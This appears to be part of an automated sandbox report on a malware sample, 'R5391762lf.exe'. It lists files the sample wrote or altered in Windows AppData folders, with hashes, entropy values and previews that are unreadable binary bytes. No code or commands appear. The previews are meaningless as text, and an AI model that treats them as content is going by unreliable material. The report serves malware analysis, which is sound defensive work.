...._.....c.S.?..#.7}7....7?s(...I.(3..{...{J.Vs......@..}.S4...,....qt..u...........5...5?J....\...$.9J....N.A..(.....vPoL.\|..[P.v..i.......E.@.V...".....+.......(E$...Ic?.M."...Z;`].yq...p...9L.!..)9..........&.X....i..c+..'a.......X..R./..v../....5.#lw_X.j0..z../O..(...U.7k..-bmRX.C&.5".K2..8...p..Q...t.-..E`D.a.n......Fc.B.@..G...V..6.m....?.L.~...]6...Iw....e...$.x:.G..7D..j.s[...).~....SQq.&.3o.....1C%..Z.2W.n%'.Pi.R...l.x.c......;...............L......b...6.a..q..._k..,.l..........Z.P..$x..L#....o.}.==.@

C:\Users\user\AppData\Local\D3DSCache\f4d41c5d09ae781\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.val

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.3028932568457843
Encrypted:	false
SSDEEP:	24:FZ4XaagygUJeJn5tTb00dhqPb5msPm8K4+KlazmUoyzvpu9K/dXI0MCKXq8uWbz:IgyHGXTAOWb5Xu/BVvuK1Y0M7XFuEz
MD5:	E7FCCCA93C7821319F7D18D268417D5B
SHA1:	0D79AAB9D3B4D911B78DC5968ED9193B8CD55DDC
SHA-256:	5C0584965E7BCF9777C16C7C49C2956AB073F840020CF63071422ABA8CF93142
SHA-512:	FFDE79A467045FDAE28E35DBC5AF374BC9476DA4B048774243FD9A3D3D94DB1F353C37999AB1EDFEEF42888CAA603B929ED3D2A46E9455CEC4A109455C3C32CC
Malicious:	false
Preview:	......h....6.x.w.....Y...P.b...zw..)xQp..Va..d...%_..t..J......+D~X-...1zY\|P.f........=.V7..mi.......K..X.G....x..u. .o..I../\|..]U.G..aOw...=>.\|..Gmct.W./..aK.:..M.).6?..q..S...By...]!.......TX..;V....nm.V....R"...t.I.....b.[.....`.e.?j.G.i..5.4J0.r.<T.......RK..jk............Y.....#..?...s.({...a.6.......:.OU/.'w....]..2]....g>W...;.........W. .."qNX.._.@4 ..M.....9.h...3#..r..U=)..F..?...L<....Yr3...~..7.6..=<.fN..O...Q.0.....N.._n......K..'#....G..:.B......x..;..m.=dE.....g.4..).j...[\|..f.I].<.U....Uj".\|......pO\.D...2.$.../c.V...`..&.o.B.F..y..U{...5....8......RF..'7p.7Z...X.I.K+]2o...o%.....iM.[.P/......<...+.#$.........T....s.C.Y...&.Qq.....)w .k..7.T^....5%.........2F.ZJ..u...%..o4.\|T.4...NN.!e.X.........u&{...$c....Ku......F=..C.G<...C.F?a.C.=. ..01H...TLy\|>!....ypt(..;..\|RLw.o...;.U.4g6.y.3,..P59.q....E....e9V..N#1....p..f=v..R.....dr...:..mJ..O........ 9...'sB.}H......Jh.M..6.)!.i! .N..9m<..t.......o./...h>.o.<..7.5...

C:\Users\user\AppData\Local\Google\Chrome\User Data\first_party_sets.db

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	49486
Entropy (8bit):	7.996021688941746
Encrypted:	true
SSDEEP:	1536:NNISGuvHFw1e86UZwZPH30IQ7rEX8FIkXdhQ:LIzuvH6eRH3rUrEX8F1K
MD5:	A7E0F0790C9D83755C6FFD4D2B9D7583
SHA1:	360A64DD644F3A9B5EC7BCEED60F0EC820E7C0A4
SHA-256:	369326C027E32E95F380F3BAE0453E6C9667B227477E37ABBE0254E719435CC7
SHA-512:	E2ACD5D27A7348E5FE8304B6450AA53242258A0EB8DBE8CB97E94F8CB260F7987BA7B4B60F551303905A75B690A494D9F7FA2294D53B99D638EC2C6944D63086
Malicious:	true
Preview:	SQLit.Q.@bo7.2.oS.......1Q..%.]...,\|?.p~>O.._..74..S.....]r.WH..\|..c;?..v........"....!.;.._.T....Y...#O8.g...L.Kj...........LO-.w....x.qj...%...H.....4/..1%....'f..V3 %.....t......i...]>;.....6'..5...........tmC....X..+..g'..`.............l..0.F..n.s.....i..'...C3]n.?28.6..{.f......_K..72j.....!.......w..!.6.........MW.D.R..........ED.....".dK...A 9.......R.U..:<V.{..hJ..Z......b.b...:...$.......k.^z.......K.n8...;.an...)...M.>.~yEf.M.<..L....:uu.....>.zT..".L....]..7...1..?a......Kb.0.....S.b....3..=.#;k-..M.....^..Qa.c.3.......=......oz...%....i,.pa.+...G.....'G..9Aorz..1~r.i..t.G..!..m;..1.Q....$[..?..S:..oE..-...W=c.~.._>h.....;:... >K.'..`.......)x.'pt...r;?..~..H#&\..Dd._..A.^b.F#.m..&.`X.f.....".Zy.....K.eM.:.....Tj$=.8.t..?.._...v.U.D...._..x...:.B.,.....6..2q.Ep\|k (.b...e...yw..Xqjz..8....fD.<..7..6..........Qu...K%.i......]..P.vi..Q....[o.o..O'.uu..z!D...t9.m.^x....@..ZK.M...k..d].OR&..._.1.iO.b..."m."....&..)

C:\Users\user\AppData\Local\IconCache.db

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	11043
Entropy (8bit):	7.983759425827943
Encrypted:	false
SSDEEP:	192:vR7VnwL2ZKshi3NPnz9z9nu8jwiAeHG3JZ8M/0onIuhogaeTPg2eaBE7NDRFJQ:vR72yZXORz9z9nu89yBxhta8P/ep7NVs
MD5:	ACF111FB74AE9EEA5F5555CE3811C762
SHA1:	EBCA4994C0C810840B162B697920ADCE064F9A9E
SHA-256:	8869034F0193F2F47E07A99FD04B3E68D4FF910938797912BB043366EECF9F2A
SHA-512:	8F190B259C0C1C0634409205145BB328AE031461BB693A61E4A30C9503CEAD1258421F88EDC04EEFC3716D81D182BADD5D2F9D68C0D90BF292B7D4E94F7544C6
Malicious:	false
Preview:	H...W....C.m.D...T....J..^..$.M\..Xc.....g;..R.90yS......%XZ..R....^;.P...I.....)..")\|.Sd..\|]..EW..q.v.l.`<.r.6t..d....M........}e.+...!...1.I.t...}'..o... >.....Y_....JY.,.d.../.....N...BN..7......?~y..._..k_.c......p...o.}`M..W.:.9._y6....g.....(..{..y.G.3.O..:.b0....U0..>`.B..I..7Z6..Z...q..0....L..@Z(.......L...Y...Go..s]...0D.3.......p....z..C7f.....dl...\|.^.?.(.x.v.l...!.m.o..O........k..zz.A..c2,7..'.....M./.Tu}..\|&S>_.z.3@3..:+J..{.e...$.....1..C..^..2.5...}CC...%.5...>P....~dL.m...:..UQ.6.f......`%..X.{....p..s..O.e.x.e.v~....!N.#F.vsB<.......%.....y.:.0<o3.{>..(.._.....W..@b.Q.j .M..w...y.l....3....e..J......\|...?....y^.Pe.?;0.\|........S..c[-eo;~a(.U...T.)8.(jh.......u....;{..7.{..9&/...E\|?....%..1..~...]^.};h.?..S......{=.?Hr....Y...9%7.T.1g!Z..2.h......2..<.8../t*1!..c.48.....Zf.H.Jv..b>......./..t..cM...'...z3....D.x!..3.P.z.._b?e...%.a......Z;\...K.tU{'..s.. .v...!..-..S.%{c...12;M............."."..Cqd..\...0.........

C:\Users\user\AppData\Local\Microsoft\CLR_v2.0_32\UsageLogs\unarchiver.exe.log

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	354
Entropy (8bit):	7.330789889591228
Encrypted:	false
SSDEEP:	6:QchcFl5+YYIm7SGrN4KKCPBqa8vfYVqoMzNaIBeXpq3pz4/tXqHk7T3eWcii96Z:QjcBkCoa8vfMqoMJaI8XA3pyXqOTuWcq
MD5:	424494F129E91B731AA524FF319B4DD8
SHA1:	8E51AB48FE6614E21841102E1D6ED1A3DD13696F
SHA-256:	F77DD8229524A4FF8704B59D4C769CA7D8D6FC0BD9DD5EF3FBACB97C4C888EF5
SHA-512:	9E6622A6F9E01FEBFF6D0EA2065C0B71E4D8782F596B5624999627DB702BE16EDF7577E71DD0B5B668F7455916EF2A1DF0534F00A6EED87D4BB5C695B53EDBA4
Malicious:	false
Preview:	1,"fu...K...2.....4+.-.+d..=.`.=.h......x#..l...fH4...-..#5......,r..r...P..>.&/.......E<..q.x..........b....Vz.$.l..*..Z.....v....L........:.<.cE.e.>..r`u6.{V.y.+...\.k.H.6...`.+-...> ....!.....&...t...&E5s.........N..1..6s5.wA2Z..(.;.1.M..;J......B......t..RH...doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\InspectorOfficeGadget.exe.log

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1554
Entropy (8bit):	7.865721219993213
Encrypted:	false
SSDEEP:	48:2hmXs9fAFckZgJ2xbaij5QF2cSIhR266XFuED:mus9oFnZgJmaQGF2DIn2FFuQ
MD5:	9851B17399432068413CF8B50F59187B
SHA1:	F979A9164F21E257CDD6704BEDE62F84FF9AC8BD
SHA-256:	0744CA92BDFB0A949D96B7E210B20B80A82ADCD4A97AD0E6DD13B5EE82CE86DE
SHA-512:	0CFE667D8E9C165B7A76304BEBF2085D460171D728984F4562B05C0FDFA0620EF136EF8C9A1EED6B20F3BED4DBA0451623A58DEDC6218899C857803055B2F70D
Malicious:	false
Preview:	1,"fu....}p...&.......c.(.Y..s...R.u..?..V.FY...gS.....B.8nP..,....W..[P...7..7.au...<F.]$....(^....+.\0.R....9)@@.%K.....uh......+N.=..U,h.`....a..Q1..8.~M.:[....3tp.)T..\.F.R....6].j....4.q.......+..R....i..'....m6..e...\#gH.....^&Q...b..5..(._aPP..E.AQ..bq..C[D.l3M......Qq.._.s..&\|J...~A...^v.....F...<t^..(...n.06Y..8.....f..._.[....9..x).....3..t)...!..c..r.eU.....H./q...oq... ...j...:...Ft..........f..n)...rIz?Q.4.....Y~J_=4.K..%...d..s..rE..$}...O$..l.rS+.(.Wb...\|.....d...<.....i..O..0f.}.=^P...q.S......(a.Kgg.3....MuWa.+..<..?....h..... ..[hL0D....v.L.Z.?%.....{.7,L..H.6..........d(k.'u..}.Z/c]mmnq.`..&d.~q.`.%Lo;7M..1WO.(.\K..5...`.St..........T.{.5.....$..(=bV.>....\|Q..:...........x+t...)..4..x....Y.E.....<Om....k.,Ne.np......{..v..W...pfH..&4tNmp.a....V...\.u8J....8.+...(.M....7....q%V...,.Fd3.8y.Sc....:Z35H.....`h.O.....e.LW,Iu.....]../..*y.1f..=Z...9.......%..^+)..4T....E&o..&....[.9;K.Z..xV ...jV e.8.c....!R.......

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CatalogCacheMetaData.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2203
Entropy (8bit):	7.91431235583904
Encrypted:	false
SSDEEP:	48:AIahyQ2FtZCgykhFJqAIHVPxkN9MUCPY6A3q+AAq6SHMPGmyDiOyXFuED:ayQ2HHaAI9g6UiAdAj6SHIG1DrYFuQ
MD5:	6858BCA7594F22FECB9D862B4979093F
SHA1:	1A2534434A8E09FBB9ED1FEB0906DCDD0647E266
SHA-256:	BFAB3BA3CD8145461E2592B73C44AB649F98FB416AC7E41FB2E36CDF93B1510C
SHA-512:	F9F3F87E9D5A8BC8B7C0156358C48F4D7D5DF14330C2B16377371AB07645A06A15EF76908020DAF1FE5F66E0EAEA323DFDA9925B18B3A6DF28FA6F1BD903360E
Malicious:	false
Preview:	<?xml}..;.g...\|.0$.%.j..o.'^..C:..9.....Gg.T.MM.p@..R...._...9.9...C."...$j/#..7...f..........o..(J...nr....{uO...c]...S.2_W.P...=...AM......s.6aC....<..I.J.1J.]Q.X....H.C...&....+T!V...X.@..r.$.....@...9.+..^yyL..:W..._..D..O..%.[.LF.....2..P.@..1m.....:.U@.g..O......\..e[....)..j........y.....).Z..3.$lin./.e.S........m...d.s.H.....9....p.i....#..i..X.,..wfY.~<..".?....&..c....N...-.p...P..i...Bg.0m)..f.T....-.....yM...}.;....6..?...S.N..;.d..Z../...I..K.Tw.....9.R>..<.W(.I.N./.c......~....zRS.1.i....E..0.......Z<.h..../.....t......F.I#.;c..A.d..#8.N...I......cN.......\eh;.i.~j......hX.oA.^v.....s..t......$.Dj..9..........k.G.}v..L".].....w.O...]\|...>H........B>.+....._\c(u."@.F_....d.1.P.z.{....._q.#....C..{zE!..wq?.3.B..*....O.k...?......`..i...QH....u..G.P9P..4...2./."....M.......'...n.3.>.....4.A......k.J.t...7;.....:..J..R$...z.\|-.0.....r...-...p....Y.......5Qy...<m...;q..%Q6.BU.].\..m:...&ey..VS....AR.k5.R.Y[.

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edb.chk

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.974939355249351
Encrypted:	false
SSDEEP:	192:BjQPzVvwVZnmczc1KRGC2/m0AdWF6VwR1Wiyy/27AMl8Cdmec+dQ:tmGVTzyMwYW4KI1sKmV+dQ
MD5:	504C9EB8E4E20350BBD8DABE457BF046
SHA1:	B665E8D8885AF1C8A8CEBC63EA6D8842A8D77D26
SHA-256:	730DD8107FCE4744C9A81944B778200530AB8188D1C90A513F84F65748806944
SHA-512:	E36D5F3982A2845FA22D4C5373BFCFB3151C91A24E26A7B984A864BA2179513C525631CB094AD78E14E7A7BDAB717F3B85329E6507F96F14DE981949E9FB4F0B
Malicious:	false
Preview:	.Z}.U...W.......$...+..<.....ep).:...'..p...g.x..#j..7.A../..zs.....$..W.P../..m.M\.=HV.U.ml ........J.{\.....K.2..U,e.f[..G.?S5..T..~..B.qd......N.g.p...V.YO......xD\K...@W...Qk..),..s..2.)..Ec.s.....L.....Oi...:.(M_......,......._....7......Q~X.Q\.y.c..yI{7...l.o}eZ....G'.<.w.....I....%.......:iL..bO-.z.......;!.IF....;r.F....-B...P..p..h"ll.5...+.._.#.ce..t.jE..~......\|[.U..vp.....g..H........^$j.1? .i?&...H@.4...."qf...G..d..0p1.....I,......\.O....c...>. .6..XC..<.9w...V....p;.....X....b..N..Q-e..7Xs...6. .V..p<z..~.~..E..(..H..[......R.!e.P....D....3z..n.wt..4..<R3....G.F..R..F.jG%.Xu.G....Q..b,i.J.1.,./.L.N.5.'.2.U....M.3..9...7L.B..3..V...x.0.F.p].{..r_..,P........[fXF.f.&.\|x.m..C.0....[.=..2...w....7lyTHE.........ZF.f.6....S...L1...=..a\|.)...TE.l}.I..1C.....P.....N`s7...T.!....U.%7.c%.....c.....9........ .x.4%!5.A1.h.Me..d..,..TI..'.B.]/.}..Y....y...e<\|C]....ql....g..q...k.# ...&CV....!>..O.YP....f.E.2M-...K0n.....O.....

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edb.log

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.95544573972723
Encrypted:	false
SSDEEP:	6144:amqfExomd0h2GqSHJuRRIyOQSLJFkAY74O:amqcymdIjFHcRCH/Y1
MD5:	FAB0E4F08DDD351F203D0E793DDFAADC
SHA1:	1CFB167DBBE8FDC3DEF0C7B8DEAD29B5FA120BFC
SHA-256:	91D382561205E78AB3693BDA3F5E5F7241821B09B37AA3966D9BB3A73756382D
SHA-512:	CDABD2068BACF81215BB292EE4EA943BA0DC91ED456B1A1BAE6184A4D24C7B5EDB984452D11AE03F4A1BE8177725FA104298E18F26243A27A286D2CF81D0B450
Malicious:	false
Preview:	F......S\.%h.......G.$kF.6.....K\|..%..1....A...........0;.R.X~......').P^.'z.1^.k.=kQ....+.....h.....v.qD..?Eo..-.ZT2Y......^VI`m.. {....<.K.2.(@.3.C..A3:.....L.D[._/..T...G.]..!N..4=.mT.kH2.: 2..+O..f2.L.N$l..-.4.a$.....s..=._.`..b..&~. v.1..l.j.=.N..f...(..xc:......yi....}m.K......5..$.o..3.M.I..=.......^c...Z...Pt.:a..p...cH...YLJ.>.A9i\|8F wd .i.......y...,...(.S.............L.vi......[...RSd4..k8.f.o.e.....E#(.#.F.."..f......]....&..9HT<._...l=e!..@Td,."u............8FJ<.M.Q~...4W^Rn.-...9...g.\|p3..{..'..$]JUo..\|Bv.Zxp...b...a..;.+............so .%..n..N+...j.....^.8..%..@.....X1.w....&+....r.r.........7Qd..e!.2,.B.....T.KTY.....6..X..~..8.^b#.F\0...6......L.",R.d...`.s.....N....u.t.k.h...gN.1R..k.............G.....T>..z..s...S..[..x.....\b...>...K........}..G...M.9...-.^...vl.I..q\|....e.T...5"..+..v*-....&v.\.....=.E.F......w...+FJ.......[`.)..:..8..N...%.G!w.w., .......7.C....7..6@n( ...H......n............Z..r......t:.PRK....

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edbres00001.jrs

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.207603830132077
Encrypted:	false
SSDEEP:	3072:eoTwOk6W5nDzNPAxhHzBmj34lzjN/b/QkFjlDaH848YX4pmevkHB:bkOk6kpaVkjIlzB/XNlDa58A4pmevW
MD5:	3383B070C508E1F0F725C1AFD890258D
SHA1:	EFBB848F105841974D52D62A8A5F0CA15978094E
SHA-256:	65E90A7B50763BF187CB1E8BFD2C306F31E7D4FC97ED09D1F489F08DC5257807
SHA-512:	1B109B33E0089B2EF7EEBDDECC22BF640B5E370E6BAF4E5352165A600D0503692E910DC67A3539291014E6A7E5F4138959615796F854F1FD33A3ABB21E8E604F
Malicious:	false
Preview:	.....9..."....!.:........w..L..~.hTJB.....D.l..%.W2..3..Ex"...+..R.O.4...C.N.%.^...c.Gv.".u.7arl...$.Q.B..!.u.CA.........?q..6e......."...9.h+...n......#....EC.......^.4..&0......(.i....J.].+..ZX^[.c}V...g...E..[..m./.H...$.}.G...W8.......x....=,[a=.).14.Ac37...R.:..!9...B..7@...A..6q]N.1mM+6.....u...f..KI.o4F..$v..g_.U....(...?>...3pA..[..bn\."TK........T%..Om..(..(.A.We.".[-.;D..2Ta...L.oA......0Wy.zsa.l........d..^}..;.5p....$...v.[.....2..B$.e&6..#.on.p.xE\.......e.xr2...@...A.....!..-.._..].6.}.sS...a >...\|.md.k..aW....Q...,.K...W.Gk.M.?...wRW..K,b.S..3..;.uL..U.^B..]...Gi.c.....KX..V..o..4W..~..VXTy.U-..L7..........\|..Z;@}l.3.?A9.7..5s...)>...\|:.H.{.N.'....K."...@/..>..\|"Z.........(.....i..(.....WU:..W2Z..........8..~.W........#....Q.]8.4ix:.$....VD..\a..~...ja@!...(.U....{.O.k[.E...l. q.....b.+KDC.\|?.jO..c..;b.....\R...=.t..V.M...:h.....X].o.m....f....adA..I.... .=$..w\.......U.O.Z&d.=....2.Q7P".b.].~.]..:).`.EH.

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edbres00002.jrs

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.207848507253273
Encrypted:	false
SSDEEP:	3072:mdJNn3Ehbr3Qg21X33hrUhthjWIDn8D7MIv7MsCK7XY/1PL/VX:mdJ10hbr3fc3xwhthlD8D7M27OWkL9X
MD5:	690DFEA6D8A688FA67E8348056EEDA8B
SHA1:	3AB286C3C3A47497059AEF7B6298E37A37B28CF6
SHA-256:	1F7CC3BB1D0FFA626C39456170012AE9E75BB390EE100C1D1185AE503F14631E
SHA-512:	2F23A441E69CBA3F62F5C6EAC8A3FE0D411E113687D931974B1CF106BEFFF57A1BDEBFA05F0CECE4E70ECCD9C6FFFA4F78FB8C5CB7A835722BC6B6EB09054006
Malicious:	false
Preview:	...........M......e.O.L/...LW1..z..=....V..#..:+........O.............!2&.F...Sg.fT?...c..#>.'......b1..!o....\...(u\.m.b]..g\|:F;...4.c(6..G.....8...Ve......q.....Z......m.'...J.3.g>.......p.=....b...zi./Q_p........x.5...z.F.O.....uM..J..[.Gz.....o.F....}AE.r..`.<....~l4.a$..GfL.h.)..\.....sV..iQQ...d.S.]X...e..!..<.f.;.j.yG.b.jpL.d*..n...'!nA&.,.lX...H.&.S...r8^R......9.M....-LR....h.B\.8...q..........d...@Z.Z.8p.w0.=...,x.Obm..1..].w..@..$&..%...B..@c....y%_&...(m^..%....i.P<.......Ke...f...>T\..r.l'`....%.frE..g..\|d....4....6F.0.;.[....=.\.lMwm..G].Q?%.q..%.p.r.~...r....._.r......=z@....1..q..o...,...O.....J.q\|...W1k...7..z=....;....K.ON.}.....#. .i.....8.z..".A9....5S.\.x. J0.....7....xAJZ..G.y8.1@..>...f..N..G+..2}.6#k.......D.]...U.....p..a...2.p.j.....4A.O3-..V.<o.]...".....&n.\.b.....s......dh../Xu.L...p.O...R..H.\'....T..w....S;:.t...@X%D..f.gK..dX.......$.>..p../.l...#O.}..$..!hV.G$;......7...e..W,/.u..B...Z#_.0..w....y.

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edbtmp.log

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2084238006531014
Encrypted:	false
SSDEEP:	3072:HQmB4nuNjhxtHkUq917+s9qYYEeqipUt8cS1e0PbX9OEX8mof1gAa44uoo:HQmB7hIUq9FP9qUxO1TbMf1mSoo
MD5:	D8063FD8EBF6D5031A20DCCE1282675B
SHA1:	749444C624FAA6B4274AB34F09945DB0EC76BD93
SHA-256:	B77CCC555629CA5B6C3A005F12FA463F50731FE18731C10F6D48534391B0B3DE
SHA-512:	00037483D3208672BB6F9F3E3B444C9ECF0FD805D229D39F99E142FCC56F8D76A07B9EBA2E7358BD7EF934A748CA11C2891A4CD8D6186C0C6BDA4B222EB027A8
Malicious:	false
Preview:	..........OM.kc..Z.,..P.H=R=........V.r..&UuW%.<...%c....LG.U.eX..^.yP.-.v.y.Y..".....Sr.....ANq.+.g.q .)YB_.L..s?imE...U.".`..`#.L.IP......y$nq.....!V.s...,C.?...4....j-..h.#.n....1....l..5e.I..F.L.:..k..._....cT.B..U%..v.. .J.T.{...mK..U!d.u..w...+&.<...N}P..8k...0.....ts..@!]..wWm.B.m...............y+...J.?e=...c&.....{w......4..x..$......Z..0.a.\|.y..{.OIJ=.'.&4......nFI.D..?B)S......>Z.E..Q......g.=Z.D...>`.h.F..K...oH8.r...o...I..+..{La.:Z.\F."2...'^^=.f......s.$Ra.\P;af..U&..O.x.........m......B...4=..,~..D...TM....~.....d ....yW&.(-./d...=..Y..M2%Md.....c....K.K...6C ........gp>.......J.J&.....c<....N...=...RrDbI..C.B8.+...G..u.......5...... {..sf.i...s.k%-.h8.iEMHg...B.*h..CD....>...=.x..nQ.-.6...O..#A.}.....t..2.....I>..{:...o.u...[`..7.....K...JI.5.....%jJ.K<.X.................B......,.C............!.W.%...........e...&.W..0.....]...g..N..P..b......vS..^......!....j..r[C].w.5.$.7...H..y.<......!..-.I:.m.W..G..wq`.

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\IECompatData\iecompatdata.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	3384
Entropy (8bit):	7.946324447156586
Encrypted:	false
SSDEEP:	96:hW7EZS4QYNhJlV89ZusCUEjExHJ/gOUFuQ:hWmvNhxoZusCUWGlgOvQ
MD5:	F40148B10E7DCF44D3EBB7AD07BBCE4B
SHA1:	2DB300D108D387EE1439A3048F9229E706C8BC0D
SHA-256:	D4C84182EC7DEAAEC055CDE6F881D7A2484DBDB0C55A95C149C25F650C4EC6AD
SHA-512:	20C3B9630F6860664D55D2AB48A114EC200EACA5C27323990735030703F180E4B0509AE9DE0597F9341331D2E6BA2654DD232728A083B8BA81CBE4BC872EC8E4
Malicious:	false
Preview:	<?xmlD.......V(..6....1oBN..lt.r.....vij.{\|m`.K...;u..}G...2.x..%..f.........".....h1.#^.[.Q%.c..\|...%~...5....f&\|z.D..#.y...m...?..G.......t.p90.y...i....FF........8..QF........{.P1..EAh...!.z....S.. Tj .Vb..!FD....oJ..<.%/<PEhH..p.H.,.....PF.f.(......~..3.f.6...^u.2B.....\.Jh.a....H..t...X.1.cd.......2..E..)`..b..`...\.U.n....0..{..9B.\.s..C=."..........ga.......Ls?.Hq...l..;.`_.._.xq....}..U...x./V.N...Y#... a..7....F.&.(..v.)#.5... .X....@.0.h.......u8......H...@..S.L.._..'.@.ef....1.b..l..C.z\g.}Z...\|.G.....T..T...h.....M$.._.S..o).A+..3..9..6..B.c<n...$...M..~{w....i.LrG.&.C.b.....i:.....(.J....vS.vd&..d.\|...5..0,z$.6..a...&#./...y.;.,...qv).^...f..,..)Z..]..#..3.^z.R.B9 3....w..`..0...At&.6:.eex.Agx......8AHt...Z}......aq.<j!..t..Y.},9....i.....V}.N..E.\.l[...w...\.s...+.i./O ..ZS..9......P....F.Aw.A...X..o.... )$..tp.......P.*.{..u.h......_....)0..eY.......I/U......e.qT#...my.....8Bm.>Y......b..0cY.#.l.....H....d..C2....Y.L....../S....

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\brndlog.txt

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	6907
Entropy (8bit):	7.975031652914224
Encrypted:	false
SSDEEP:	96:i5Xq3AB921qOL/TFQs1pSH81NGyjlejP9zGVGNWM+WIm9GMhp6vEIw11yljjUsXt:m3B9zH8bfle5rh+Wt3pkEIw11yljXa7Q
MD5:	0878D17FEAF8652E4E191DB75E95FF9E
SHA1:	EA1B1C9E7825E778E8547FEFC3CA354890CDE383
SHA-256:	ECE38A86A0EE4A5F604693C2A9CF85586E1269B93AA80207B2FD7CCC509C733A
SHA-512:	607F6A8BCC71A967587DB257FBCE0AF1BBABE1C56B32DC5DFBF3F5E158E95567B9626C4FB4E3B0859B148AC0B3D51431D09E5B9C9495EAC870E522DF7998C2B4
Malicious:	false
Preview:	10/05U...:%.c-(w-..%j..>.\..uN@.u!B.....FoX.mN.....L...G.K........s...[;....4[AvoPFh.Q..~\|$.`[A.+...6/.....#^..F.... D.&..v!..U<..P...-$.Y.....QJ..VZU...]...3Z4/..[.L...[...p.}.q..S.#Z\.TcZ..U....23R......f_.[p0nz..W.......X..ZdGku..x-.....w....]....=Z.E..F.Fy...~..la5.Va...v...~.H.3.^...E....^....../.YS..&..8C.@l..]....}....:.`t...BZ../JX.%.2....u.7@.).ER...ns......S.LJv.....x7..d;.z......2..<.w.M.3h.c.v/.W..$>../.......&..z........%..m..,...W..iK/.S.....p..H.:..I.rm...i....M....s..-.....i.x.e4.,..k[..$...6..g......E<.K.S...pq..p9[...pv....9..[0)P.d..d...]i7{N..r.s.N..q=...-c.....}...p?I.n..@......m.@..r.2...sx.F...O.H../....^A..Kb.....i!q.0.%..J.<...b.[_...Q.j.&..WJ.3.^AH..}6.C..`.f..n[.[..3,&....a./.....RH{(OIgj.e....p..zz ..}d..\|m.L..P.:.G..E.y.."....r.#-.^......Ua.\|.A#..b?c<.D..Y...f(Z.~....\..G5P\|$../..K23..tl..#......b...<.D4.a..z.ieD.B.p+5.....u......8o....]).'...$W.I..?O+.....j...6 ......r6K....g;~.j.%...F2I.bv.z....5.*A... .va...,..e..a

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\ie4uinit-ClearIconCache.log

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1272
Entropy (8bit):	7.828131381863902
Encrypted:	false
SSDEEP:	24:QA7sjkHTRX0R9qHopPeM/1ZoeEU9rvj1jAe5RN6rBdpt+dRJGrc9kBOnYAXq8uWX:tlEuopjtZoWLa4KdiCrc+rAXFuED
MD5:	7FE7FD763A9FC9967FD0B76588CC1F4C
SHA1:	6D62784EFBD5C474FA7C85A9A81AE0DA7DA2C3A0
SHA-256:	C44752402FE5CDDEA5F374AC06BE02F01A8A92A293F656E0AB5E1D7B5E528A77
SHA-512:	6F5A49F6C77813495C86D7EE67625E20B1D7E901847B4792B35D9798E9CB0F17CE9809DD3F4998F3B00E602B04C64EA68832FB0DD9CC5118778AFDB88D53182B
Malicious:	false
Preview:	..1.0..b...G.7\^...._J.G..^..n.".d.!..j..gPa..GA8.[b........x.XC../d.mf..f4..L.r.O.....:Su.Eja...Ol :.C..P...k(...6#...i....<...Py.s.T.3.xUM.Q.v...^.......k.[<.7..}.BB....'..j...^...}g.q.c...+r..B..l..'...8ybBK../...9[...50T.._~2....]o.V..vB....m$rh..l..xg$V./../..0..4..../.z.=.?.(......8;...q.....4N..a.w.*.o.f.L..wu=.J.\|...:..T.;FAQ.R.)l.....(,H/.....lZ...Z............"@/uS.q...W.H.........}5fg.....:iW.{u..2R.....C.<.y...H..W[.dl....ltw.....)g..@...N..Z..aw#........+y.~.....E...........DU.3..V~'ta}.h.....Q.%..[R..[.}...).{.]..Y.Q..\.<.N.......s....O...P$!,X....-Z:..>.+....G..k.....F..}KT.D.^X.6q..sE:...kQ.M.aD.4...5..T.w.. .o._B.:Pp..Ok...yS..s.0...>...,.]g.="Vs..#.....>Z-..po5:..W.n.$,$.KO..e?...e.[..x..w.N.r.!.a ..-TS3.BKQ.07n-.E!.{.z.F1..S&ZE!.@UY.).<...<.+4.^.:.#Z.....;B..3/...c(.akk....R.J.J.r...P.S..E.......m....F..P..N........?.X.....U...p.<..@....`.&\mL%...8}3}....._"D..#B[...%.i6...X...T...#-.o...(3R.H..]r:....G[..R...d.j...[.

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\ie4uinit-UserConfig.log

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.883109618198522
